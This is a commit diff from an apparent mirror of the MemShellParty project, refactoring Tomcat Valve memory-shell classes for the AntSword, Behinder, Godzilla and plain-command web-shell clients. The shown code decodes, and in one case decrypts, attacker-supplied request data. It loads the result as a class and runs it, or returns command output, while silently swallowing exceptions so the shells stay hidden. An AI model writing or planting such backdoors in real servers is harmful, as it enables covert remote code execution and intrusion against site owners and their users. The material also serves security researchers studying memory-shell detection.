mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: simplify valve shell code
This commit is contained in:
+3
-5
@@ -77,12 +77,10 @@ public class AntSwordValve extends ClassLoader implements Valve {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
|
||||
+3
-5
@@ -92,13 +92,11 @@ public class BehinderValve extends ClassLoader implements Valve {
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||
|
||||
+3
-4
@@ -52,11 +52,10 @@ public class CommandValve implements Valve {
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
this.getNext().invoke(request, response);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
+3
-5
@@ -125,12 +125,10 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user